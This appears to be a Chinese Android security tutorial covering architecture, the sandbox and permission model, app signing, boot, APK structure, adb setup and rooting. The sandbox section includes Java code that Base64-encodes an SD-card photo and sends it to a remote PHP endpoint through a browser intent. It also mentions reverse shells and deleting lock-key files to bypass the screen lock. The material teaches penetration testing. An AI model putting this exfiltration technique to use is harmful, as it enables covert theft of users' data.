Android架构及环境配置
Android 是当今最流行的智能手机操作系统之一。 随着人气的增加,它存在很多安全风险,这些风险不可避免地被引入到应用程序中,使得用户本身受到威胁。 我们将在本书中以方法论和循序渐进的方式来讨论 Android 应用程序安全性和渗透测试的各个方面。
Android 简介¶
自从 Android 被谷歌收购(2005 年),谷歌已经完成了整个开发,在过去的 9 年里,尤其是在安全方面,有很多变化。 现在,它是世界上最广泛使用的智能手机平台,特别是由于不同的手机制造商,如 LG,三星,索尼和 HTC 的支持。 Android 的后续版本中引入了许多新概念,例如 Google Bouncer 和 Google App Verifier。 我们将在本章逐一介绍它们。
如果我们看看 Android 的架构,如下图所示,我们将看到它被分为四个不同的层。 在它的底部是 Linux 内核,它已被修改来在移动环境中获得更好的性能。 Linux 内核还必须与所有硬件组件交互,因此也包含大多数硬件驱动程序。 此外,它负责 Android 中存在的大多数安全功能。 由于 Android 基于 Linux 平台,它还使开发人员易于将 Android 移植到其他平台和架构。 Android 还提供了一个硬件抽象层,供开发人员在 Android 平台栈和他们想要移植的硬件之间创建软件钩子。
在 Linux 内核之上是一个层级,包含一些最重要和有用的库,如下所示:
Surface Manager:管理窗口和屏幕 媒体框架:这允许使用各种类型的编解码器来播放和记录不同的媒体 SQLite:这是一个较轻的 SQL 版本,用于数据库管理 WebKit:这是浏览器渲染引擎 OpenGL:用于在屏幕上正确显示 2D 和 3D 内容
以下是来自 Android 开发人员网站的 Android 架构的图形表示:

Android 中的库是用 C 和 C++ 编写的,其中大多数是从 Linux 移植的。 与 Linux 相比,Android 中的一个主要区别是,在这里没有libc库,它用于 Linux 中的大多数任务。 相反,Android 有自己的称为bionic的库,我们可以认为它是一个剥离和修改后的,用于 Android 的 libc 版本。
在同一层级,还有来自 Android 运行时 — Dalvik 虚拟机和核心库的组件。 我们将在本书的下一部分中讨论关于 Dalvik 虚拟机的很多内容。
在这个层之上,有应用程序框架层,它支持应用程序执行不同类型的任务。
此外,开发人员创建的大多数应用程序只与第一层和最顶层的应用程序交互。 该架构以一种方式设计,在每个时间点,底层都支持上面的层级。
早期版本的 Android(<4.0)基于 Linux 内核 2.6.x,而较新版本基于内核 3.x. 不同的 Android 版本和他们使用的 Linux 内核的列表规定如下:

Android 中的所有应用程序都在虚拟环境下运行,这称为 Dalvik 虚拟机(DVM)。 这里需要注意的一点是,从 Android 4.4 版本开始,还有另一个运行时称为 Android 运行时(ART),用户可以在 DVM 和 ART 运行时环境之间自由切换。
然而,对于这本书,我们将只关注 Dalvik 虚拟机实现。 它类似于 Java 虚拟机(JVM),除了基于寄存器的特性,而不是基于堆栈的特性。 因此,运行的每个应用程序都将在自己的 Dalvik 虚拟机实例下运行。 因此,如果我们运行三个不同的应用程序,将有三个不同的虚拟实例。 现在,这里的重点是,即使它为应用程序创建一个虚拟环境来运行,它不应该与安全容器或安全环境混淆。 DVM 的主要焦点是与性能相关,而不是与安全性相关。
Dalvik 虚拟机执行一个名为.dex或 Dalvik 可执行文件的文件格式。 我们将进一步查看.dex文件格式,并将在下面的章节中进行分析。 现在让我们继续与 adb 进行交互,并更深入地分析 Android 设备及其体系结构。
深入了解 Android¶
如果你有 Android 设备或正在运行Android模拟器,则可以使用 Android SDK 本身提供的工具(称为 adb)。 我们将在第二章详细讨论 adb。 现在,我们将只设置 SDK,我们已经准备好了。
一旦设备通过 USB 连接,我们可以在我们的终端中输入 adb,这将显示所连接设备的序列号列表。 请确保你已在设备设置中启用了 USB 调试功能。
现在,如我们之前所见,Android 是基于 Linux 内核的,所以大多数 Linux 命令在 Android 上也可以通过 adb shell 完美运行。 adb shell 为你提供与设备的 shell 直接交互,你可以在其中执行命令和执行操作以及分析设备中存在的信息。 为了执行 shell,只需要键入以下命令:
一旦我们在 shell 中,我们可以运行ps为了列出正在运行的进程:

如你所见,ps将列出当前在 Android 系统中运行的所有进程。 如果仔细看,第一列制定了用户名。 在这里我们可以看到各种用户名,如system,root,radio和一系列以app_开头的用户名。 正如你可能已经猜到的,以system名称运行的进程由系统拥有,root作为根进程运行,radio是与电话和无线电相关的进程,app_进程是用户已下载的所有应用程序, 安装在他们的设备上并且当前正在运行。 因此,就像在 Linux 中用户确定了当前登录到系统的唯一用户一样,在 Android 中,用户标识了在自己的环境中运行的应用/进程。
所以,Android 安全模型的核心是 Linux 特权分离。 每次在 Android 设备中启动新应用程序时,都会为其分配唯一的用户 ID(UID),该用户 ID 将之后会属于某些其他预定义组。
与 Linux 类似,用作命令的所有二进制文件都位于/system/bin和/system /xbin。 此外,我们从 Play 商店或任何其他来源安装的应用程序数据将位于/data/data,而其原始安装文件(即.apk)将存储在/data/app。 此外,还有一些应用程序需要从 Play 商店购买,而不是只是免费下载。 这些应用程序将存储在/data/app-private/。
Android 安装包(APK)是 Android 应用程序的默认扩展名,它只是一个归档文件,包含应用程序的所有必需文件和文件夹。 我们在后面的章节中将继续对.apk文件进行逆向工程。
现在,让我们访问/data/data,看看里面有什么。 这里需要注意的一点是,为了在真实设备上实现,设备需要 root 并且必须处于su模式:
# cd /data/data# ls
com.aditya.facebookapp
com.aditya.spinnermenu
com.aditya.zeropermission
com.afe.socketapp
com.android.backupconfirm
com.android.browser
com.android.calculator2
com.android.calendar
com.android.camera
com.android.certinstaller
com.android.classic
com.android.contacts
com.android.customlocale2
所以,我们可以在这里看到,例如,com.aditya.facebookapp,是单独的应用程序文件夹。 现在,你可能会想知道为什么它是用点分隔的单词风格,而不是常见的文件夹名称,如FacebookApp或CameraApp。 因此,这些文件夹名称指定各个应用程序的软件包名称。 软件包名称是应用程序在 Play 商店和设备上标识的唯一标识符。 例如,可能存在具有相同名称的多个相机应用或计算器应用。 因此,为了唯一地标识不同的应用,使用包名称约定而不是常规应用名称。
如果我们进入任何应用程序文件夹,我们会看到不同的子文件夹,例如文件(files),数据库(databases)和缓存(cache),稍后我们将在第 3 章“逆向和审计 Android 应用程序”中查看。
这里需要注意的一个重要的事情是,如果手机已经 root,我们可以修改文件系统中的任何文件。 对设备获取 root 意味着我们可以完全访问和控制整个设备,这意味着我们可以看到以及修改任何我们想要的文件。
最常见的安全保护之一是大多数人都想到的是模式锁定或 pin 锁,它默认存在于所有Android手机。 你可以通过访问Settings | Security | Screen Lock来配置自己的模式。
一旦我们设置了密码或模式锁定,我们现在将继续,将手机与 USB 连接到我们的系统。 现在,密码锁的密钥或模式锁的模式数据以名称password.key或gesture.key存储在/data/system。 注意,如果设备被锁定,并且 USB 调试被打开,你需要一个自定义引导加载程序来打开 USB 调试。 整个过程超出了本书的范围。 要了解有关 Android 的更多信息,请参阅 Thomas Cannon Digging 的 Defcon 演示。
因为破解密码/模式将更加艰难,并且需要暴力(我们将看到如何解密实际数据),我们将简单地继续并删除该文件,这将从我们手机中删除模式保护 :
所以,我们可以看到,一旦手机被 root ,几乎任何东西都可以只用手机、一根USB电缆和一个系统来完成。 我们将在本书的后续章节中更多地了解基于 USB 的利用。
沙箱和权限模型¶
为了理解 Android 沙箱,让我们举一个例子,如下图:

如前图所示和前面所讨论的,Android 中的每个应用程序都在其自己的 Dalvik 虚拟机实例中运行。 这就是为什么,无论何时任何应用程序在我们的设备中崩溃,它只是显示强制关闭或等待选项,但其他应用程序继续顺利运行。 此外,由于每个应用程序都在其自己的实例中运行,因此除非内容提供者另有规定,否则将无法访问其他应用程序的数据。
Android 使用细粒度的权限模型,这需要应用程序在编译最终应用程序包之前预定义权限。
你必须注意到,每次从 Play 商店或任何其他来源下载应用程序时,它会在安装过程中显示一个权限屏幕,它类似于以下屏幕截图:

此权限屏幕显示应用程序可以通过手机执行的所有任务的列表,例如发送短信,访问互联网和访问摄像头。 请求多于所需的权限使应用程序成为恶意软件作者的更具吸引力的目标。
Android 应用程序开发人员必须在开发应用程序时在名为AndroidManifest.xml的文件中指定所有这些权限。 此文件包含各种应用程序相关信息的列表,例如运行程序所需的最低 Android 版本,程序包名称,活动列表(应用程序可见的应用程序中的界面),服务(应用程序的后台进程) ,和权限。 如果应用程序开发人员未能在AndroidManifest.xml文件中指定权限,并仍在应用程序中使用它,则应用程序将崩溃,并在用户运行它时显示强制关闭消息。
一个正常的AndroidManifest.xml文件看起来像下面的截图所示。 在这里,你可以使用<uses-permission>标记和其他标记查看所需的不同权限:

如前所述,所有 Android 应用程序在安装后首次启动时都会分配一个唯一的 UID。 具有给定 UID 的所有用户都属于特定组,具体取决于他们请求的权限。 例如,一个仅请求 Internet 权限的应用程序将属于inet组,因为 Android 中的 Internet 权限位于inet组下。
用户(在这种情况下的应用程序)可以属于多个组,具体取决于他们请求的权限。 或者换句话说,每个用户可以属于多个组,并且每个组可以具有多个用户。 这些组具有由组 ID(GID)定义的唯一名称。 然而,开发人员可以明确地指定其他应用程序在与第一个相同的 UID 下运行。 在我们的设备中,其中的组和权限在文件platform.xml中指定,它位于/system/etc/permissions/:
shell@grouper:/system/etc/permissions $ cat platform.xml
<permissions>
<!-- ================================================================== -->
<!-- ================================================================== -->
<!-- ================================================================== -->
<!-- The following tags are associating low-level group IDs with
permission names. By specifying such a mapping, you are saying
that any application process granted the given permission will
also be running with the given group ID attached to its process,
so it can perform any filesystem (read, write, execute) operations
allowed for that group. -->
<permission name="android.permission.BLUETOOTH_ADMIN" >
<group gid="net_bt_admin" />
</permission>
<permission name="android.permission.BLUETOOTH" >
<group gid="net_bt" />
</permission>
<permission name="android.permission.BLUETOOTH_STACK" >
<group gid="bluetooth" />
<group gid="wakelock" />
<group gid="uhid" />
</permission>
<permission name="android.permission.VIRTUAL_INPUT_DEVICE" >
<group gid="uhid" />
</permission>
<permission name="android.permission.NET_TUNNELING" >
<group gid="vpn" />
</permission>
<permission name="android.permission.INTERNET" >
<group gid="inet" />
</permission>
......
</permissions>
此外,这清除了对在 Android 设备中运行的本地应用程序的怀疑。 由于本地应用程序直接与处理器交互,而不是在 Dalvik 虚拟机下运行,因此它不会以任何方式影响整体安全模型。
现在,就像我们在前面部分看到的,应用程序将其数据存储在location/data/data/[package name]。 现在,存储应用程序数据的所有文件夹也具有相同的用户 ID,这构成 Android 安全模型的基础。 根据 UID 和文件权限,它将限制来自具有不同 UID 的其他应用程序对它的访问和修改。
在下面的代码示例中,ret包含以 Base64 格式编码存储在的 SD 卡中的图像,现在正在使用浏览器调用来上传到attify.com网站。 目的只是找到一种方式来在两个不同的 Android 对象之间进行通信。
我们将首先创建一个对象来存储图像,在 Base64 中编码,最后将其存储在一个字符串中imageString:
final File file = new File("/mnt/sdcard/profile.jpg");Uri uri = Uri.fromFile(file);ContentResolver cr = getContentResolver();Bitmap bMap=null;try { InputStream is = cr.openInputStream(uri); bMap = BitmapFactory.decodeStream(is); if (is != null) { is.close(); } } catch (Exception e) { Log.e("Error reading file", e.toString());}ByteArrayOutputStream baos = new ByteArrayOutputStream(); bMap.compress(Bitmap.CompressFormat.JPEG, 100, baos); byte[] b = baos.toByteArray();String imageString = Base64.encodeToString(b,Base64.DEFAULT);
最后,我们将启动浏览器将数据发送到我们的服务器,我们有一个.php文件侦听传入的数据:
startActivity(new Intent(Intent.ACTION_VIEW,Uri.parse("http://attify.com/up.php?u="+imageString)));
我们还可以执行命令并以相同的方式将输出发送到远程服务器。 但是,这里需要注意的一点是 shell 应该在应用程序的用户下运行:
// To execute commands : String str = "cat /proc/version"; //command to be executed is stored in str.process = Runtime.getRuntime().exec(str);
这是一个有趣的现象,因为攻击者可以获得一个反向 shell(这是一个从设备到系统的双向连接,可以用于执行命令),而不需要任何类型的权限。
应用签名¶
应用程序签名是 Android 的独特特性之一,由于其开放性和开发人员社区,它取得了成功。 Play 商店中有超过一百万个应用。 在 Android 中,任何人都可以通过下载 Android SDK 创建 Android 应用,然后将其发布到 Play 商店。 通常有两种类型的证书签名机制。 一个是由管理证书颁发机构(CA)签名的,另一个是自签名证书。 没有中间证书颁发机构(CA),而开发人员可以创建自己的证书并为应用程序签名。
在 Apple 的 iOS 应用程序模型中可以看到 CA 签名,其中开发者上传到 App Store 的每个应用程序都经过验证,然后由 Apple 的证书签名。 一旦下载到设备,设备将验证应用程序是否由 Apple 的 CA 签名,然后才允许应用程序运行。
但是,在 Android 中是相反的。 没有证书颁发机构; 而是开发人员的自创建证书可以签署应用程序。 应用程序上传完成后,会由 Google Bouncer 进行验证,这是一个虚拟环境,用于检查应用程序是否是恶意或合法的。 检查完成后,应用就会显示在 Play 商店中。 在这种情况下,Google 不会对该应用程序进行签名。 开发人员可以使用 Android SDK 附带的工具(称为keytool)创建自己的证书,或者使用 Eclipse 的 GUI 创建证书。
因此,在 Android 中,一旦开发人员使用他创建的证书签名了应用程序,他需要将证书的密钥保存在安全的位置,以防止其他人窃取他的密钥并使用开发人员的证书签署其他应用程序 。
如果我们有一个 Android 应用程序(.apk)文件,我们可以检查应用程序的签名,并找到使用称为jarsigner的工具签署应用程序的人,这个工具是 Android SDK 自带的:
以下是在应用程序上运行上述命令并获取签名的信息的屏幕截图:

此外,解压缩.apk文件后,可以解析META-INF文件夹中出现的CERT.RSA文件的 ASCII 内容,以获取签名,如以下命令所示:
$ unzip testing.apk
$ cd META-INF
$ openssl pkcs7 -in CERT.RSA -print_certs -inform DER -out out.cer
$ cat out.cer
这在检测和分析未知的 Android .apk示例时非常有用。 因此,我们可以使用它获得签署人以及其他详细信息。
Android 启动流程¶
在 Android 中考虑安全性时最重要的事情之一是 Android 启动过程。 整个引导过程从引导加载程序开始,它会反过来启动init过程 - 第一个用户级进程。
所以,任何引导加载程序的变化,或者如果我们加载另一个,而不是默认存在的引导加载程序,我们实际上可以更改在设备上加载的内容。 引导加载程序通常是特定于供应商的,每个供应商都有自己的修改版本的引导加载程序。 通常,默认情况下,此功能通过锁定引导加载程序来禁用,它只允许供应商指定的受信任内核在设备上运行。 为了将自己的 ROM 刷到 Android 设备,需要解锁引导加载程序。 解锁引导加载程序的过程可能因设备而异。 在某些情况下,它也可能使设备的保修失效。
在 Nexus 7 中,它就像使用命令行中的fastboot工具一样简单,如下所示:
在其他设备中,可能需要更多精力。 我们看看如何创建自己的 Bootloader 并在本书的后续章节中使用它。
回到启动过程,在引导加载程序启动内核并启动init之后,它挂载了 Android 系统运行所需的一些重要目录,例如/dev,/sys和/proc。 此外,init从配置文件init.rc和init.[device-name].rc中获取自己的配置,在某些情况下从位于相同位置的.sh文件获取自己的配置。

如果我们对init.rc文件执行cat,我们可以看到init加载自身时使用的所有规范,如下面的截图所示:

init进程的责任是启动其他必需的组件,例如负责 ADB 通信和卷守护程序(vold)的 adb 守护程序(adbd)。
加载时使用的一些属性位于build.prop,它位于location/system。 当你在 Android 设备上看到 Android logo 时,就完成了init进程的加载。 正如我们在下面的截图中可以看到的,我们通过检查build.prop文件来获取设备的具体信息:

一旦所有的东西被加载,init最后会加载一个称为 Zygote 的进程,负责以最小空间加载 Dalvik 虚拟机和共享库,来加快整个进程的加载速度。 此外,它继续监听对自己的新调用,以便在必要时启动更多 DVM。 这是当你在设备上看到 Android 开机动画时的情况。
一旦完全启动,Zygote 派生自己并启动系统,加载其他必要的 Android 组件,如活动管理器。 一旦完成整个引导过程,系统发送BOOT_COMPLETED的广播,许多应用程序可能使用称为广播接收器的 Android 应用程序中的组件来监听。 当我们在第 3 章“逆向和审计 Android 应用程序”中分析恶意软件和应用程序时,我们将进一步了解广播接收器。
Android 应用程序拆解¶
Android 应用程序是在开发应用程序时创建的数据和资源文件的归档文件。 Android 应用程序的扩展名是.apk,意思是应用程序包,在大多数情况下包括以下文件和文件夹:
Classes.dex(文件)AndroidManifest.xml(文件)META-INF(文件夹)resources.arsc(文件)res(文件夹)assets(文件夹)lib(文件夹)
为了验证这一点,我们可以使用任何归档管理器应用程序(如 7zip,WinRAR 或任何首选应用程序)简单地解压缩应用程序。 在 Linux 或 Mac 上,我们可以简单地使用unzip命令来展示压缩包的内容,如下面的截图所示:

这里,我们使用-l(list)标志,以便简单地展示压缩包的内容,而不是解压它。 我们还可以使用file命令来查看它是否是一个有效的压缩包。

外层结构¶
- .gradle 和 .idea:这些目录包含 Android Studio 自动创建的一些文件。
- app:项目的主要代码和资源都存放在这个目录下,开发工作基本都在这里进行。
- gradle:包含 gradle wrapper 的配置文件,自动根据本地缓存情况决定是否需要联网下载 gradle。
- .gitignore:用于将指定的目录或文件排除在版本控制之外。
- build.gradle:整个项目的基础配置文件,声明仓库源和 Android Gradle 插件的版本。
- gradle.properties:全局 gradle 配置文件,影响项目中所有 gradle 编译脚本。
- local.properties:指定本机中的 Android SDK 路径,通常内容自动生成。
- settings.gradle:全局项目配置文件,声明需要加入 gradle 的模块。
app 目录结构¶
- build:包含编译时自动生成的文件。
- libs:存放第三方 jar 包。
- src/AndroidTest:编写 Android Test 测试用例。
- src/main/java:存放所有 Java 代码。
- src/main/res:包含所有资源文件,如图像、布局、字符串等。
- main/AndroidManifest.xml:项目的配置文件,定义四大组件并添加权限声明。
- test:编写 Unit Test 测试用例。
res 目录中的资源目录¶
- animator/:定义属性动画的 XML 文件。
- anim/:定义渐变动画的 XML 文件。
- color/:定义颜色状态列表的 XML 文件。
- drawable/:存放位图文件或可绘制对象资源的 XML 文件。
- mipmap/:适用于不同启动器图标密度的可绘制对象文件。
- layout/:定义用户界面布局的 XML 文件。
- menu/:定义应用菜单的 XML 文件。
- raw/:保存需以原始形式保存的任意文件。
- values/:包含字符串、整型数和颜色等简单值的 XML 文件。
- xml/:可在运行时通过调用 Resources.getXML() 读取的任意 XML 文件。
- font/:带有扩展名的字体文件或包含元素的 XML 文件。
Gradle 文件讲解¶
- build.gradle:分为项目级别和模块级别。项目级别的 build.gradle 文件定义所有子项目或模块共用的配置项,如 Gradle 插件的版本、仓库设置等。模块级别的 build.gradle 文件针对具体的模块进行配置,如编译选项、依赖库、签名配置等。
- settings.gradle:用于配置项目的设置,包括模块和子项目的包含与排除、项目之间的依赖关系等。
- config.gradle:用于统一管理和配置项目的公共属性,如版本号、构建工具版本、依赖库版本等。
Android 应用程序由各种组件组成,它们一起创建可工作的应用程序。 这些组件是活动,服务,广播接收器,内容供应器和共享首选项。 在继续之前,让我们快速浏览一下这些不同的组件:
- 活动(Activity):这些是用户可以与之交互的可视界面。这些可以包括按钮,图像,
TextView或任何其他可视组件。 - 服务(Service):这些 Android 组件在后台运行,并执行开发人员指定的特定任务。这些任务可以包括从 HTTP 下载文件到在后台播放音乐的任何内容。
- 广播接收器(Broadcast Receiver):这些是 Android 应用程序中的接收器,通过 Android 系统或设备中存在的其他应用程序,监听传入的广播消息。一旦它们接收到广播消息,就可以根据预定义的条件触发特定动作。条件可以为收到 SMS,来电呼叫,电量改变等等。
- 共享首选项(Shared Preference):应用程序使用这些首选项,以便为应用程序保存小型数据集。此数据存储在名为
shared_prefs的文件夹中。这些小数据集可以包括名值对,例如游戏中的用户得分和登录凭证。不建议在共享首选项中存储敏感信息,因为它们可能易受数据窃取和泄漏的影响。 - 意图(Intent):这些组件用于将两个或多个不同的 Android 组件绑定在一起。意图可以用于执行各种任务,例如启动动作,切换活动和启动服务。
- 内容供应器(Content Provider):这些组件用于访问应用程序使用的结构化数据集。应用程序可以使用内容供应器访问和查询自己的数据或存储在手机中的数据。
现在我们知道了 Android 应用程序内部结构,以及应用程序的组成方式,我们可以继续逆向 Android 应用程序。 当我们只有.apk文件时,这是获得可读的源代码和其他数据源的方式。
Android 主要活动文件¶
Manifest文件¶
无论你开发什么组件用作应用程序中的一部分,都需要在应用程序项目根目录下的manifest.xml文件中声明所有的组件。这个文件是Android操作系统与你的应用程序之间的接口,因此,如果没有在这个文件中声明你的组件,将无法被操作系统所识别。举个例子,一个默认的清单文件看起来如下:
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.helloworld"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="22" />
<application
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name=".MainActivity"
android:label="@string/title_activity_main" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
</application>
</manifest>
这里,...标签之间是应用程序相关的组件。andnroid:icon属性指出位于res/drawable-hdpi下面的应用程序图标。这个应用使用drawable文件夹下名为ic_launcher.png的图片。
标签用于指定一个活动,android:name属性指定一个Activity类子类的全名。android:label属性指定用于活动名称的字符串。可以使用标签来指定多个活动。
意图过滤器的action被命名为android.intent.action.MAIN,表明这个活动被用做应用程序的入口。意图过滤器的category被命名为android.intent.category.LAUNCHER,表明应用程序可以通过设备启动器的图标来启动。
@string指的是strings.xml(将在后面介绍)。因此,@string/app_name指的是定义在strings.xml中的app_name,实际为"Hello World"。类似的,应用中的其他字符串也很流行。
下面是你的清单文件中将用到的标签,用于指定不同的Android应用程序组件:
- 活动元素
- 服务元素
- 广播接收器元素
- 内容提供者元素
Strings 文件¶
strings.xml文件在res/value文件夹下,它包含应用程序使用到的所有文本。例如,按钮、标签的名称,默认文本,以及其他相似的strings。这个文件为他们的文本内容负责。一个默认的strings文件看起来如下:
<resources>
<string name="app_name">HelloWorld</string>
<string name="hello_world">Hello world!</string>
<string name="menu_settings">Settings</string>
<string name="title_activity_main">MainActivity</string>
</resources>
R 文件¶
gen/com.example.helloworld/R.java文件是活动的Java文件,如MainActivity.java的和资源如strings.xml之间的胶水。这是一个自动生成的文件,不要修改R.java文件的内容。下面是一个R.java文件的示例:
/* AUTO-GENERATED FILE. DO NOT MODIFY.
*
* This class was automatically generated by the
* aapt tool from the resource data it found. It
* should not be modified by hand.
*/
package com.example.helloworld;
public final class R {
public static final class attr {
}
public static final class dimen {
public static final int padding_large=0x7f040002;
public static final int padding_medium=0x7f040001;
public static final int padding_small=0x7f040000;
}
public static final class drawable {
public static final int ic_action_search=0x7f020000;
public static final int ic_launcher=0x7f020001;
}
public static final class id {
public static final int menu_settings=0x7f080000;
}
public static final class layout {
public static final int activity_main=0x7f030000;
}
public static final class menu {
public static final int activity_main=0x7f070000;
}
public static final class string {
public static final int app_name=0x7f050000;
public static final int hello_world=0x7f050001;
public static final int menu_settings=0x7f050002;
public static final int title_activity_main=0x7f050003;
}
public static final class style {
public static final int AppTheme=0x7f060000;
}
}
Layout 文件¶
activity_main.xml是一个在res/layout目录下的layout文件。当应用程序构建它的界面时被引用。你将非常频繁的修改这个文件来改变应用程序的布局。在"Hello World"应用程序中,这个文件具有默认的布局,内容如下:
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent" >
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_centerHorizontal="true"
android:layout_centerVertical="true"
android:padding="@dimen/padding_medium"
android:text="@string/hello_world"
tools:context=".MainActivity" />
</RelativeLayout>
这是一个简单的RelativeLayout的示例,更多内容会在独立的章节中讲解。TextView是一个Android的控件用于构建用户图形界面。它包含有许多不同的属性,诸如android:layout_width, android:layout_height等用来设置它的宽度和高度等。@string指的是res/values文件夹下的strings.xml文件。因此,@string/hello_world指的是定义在strings.xml中的名为hello的字符串:"Hello World!"。
USB调试模式开启¶
参考文章:https://onfix.cn/course/3838?bid=1&mid=27157
adb安装¶
- windows10/11
如果要删除adb,请以管理员权限执行
- kali
Wsl无法找到终端的解决方案¶
windows安装adb
.wslconfig将共享windows和wsl环境变量设置为true(该选项默认为true)
在wsl内使用
adb.exe即可访问windows中的adb

当终端通过USB等方式连接后
- windows
- wsl

注意:必须先在windows使用adb启动服务端,否则wsl无法匹配到设备
Tip
当设备处于offline或其他无法识别的状态时,可以重启adb服务(in windows)
adb kill-server
adb start-server
Android root¶
- 手机型号-小米8
参考文章:
https://magiskcn.com/
https://miuiver.com/how-to-root-xiaomi-phone/
https://blog.csdn.net/weixin_43385541/article/details/133690942
注意:
在masgisk获取了boot.img后只是获得了临时root权限,需要再次点击安装

随后即可赋予shell用户root权限,此时adb即可
su root

adb一些常用命令¶
- 查看安装的软件包
- 传输文件
PC到移动设备
adb push {PC_file_path} {Mobile_file_path}
# example
adb.exe push android_crackmes /sdcard/Download
# 安卓设备主存空间为sdcard
移动设备到PC
adb pull {Mobile_file_path} {PC_file_path}
# example
adb pull /system/priv-app/DeviceTest/DeviceTest.apk /home/kali/test
- 安装apk
adb install -r {apk_package}
# comment
# adb install [-l] [-t] [-r] [-s] ,其中-l表示锁定应用,-t表示安装调试版apk,-r表示重新安装应用并保留数据,-s表示安装到SD卡而不是内部存储
- 卸载apk
在使用adb安装或卸载apk时,需要移动设备手动确认是否安装/卸载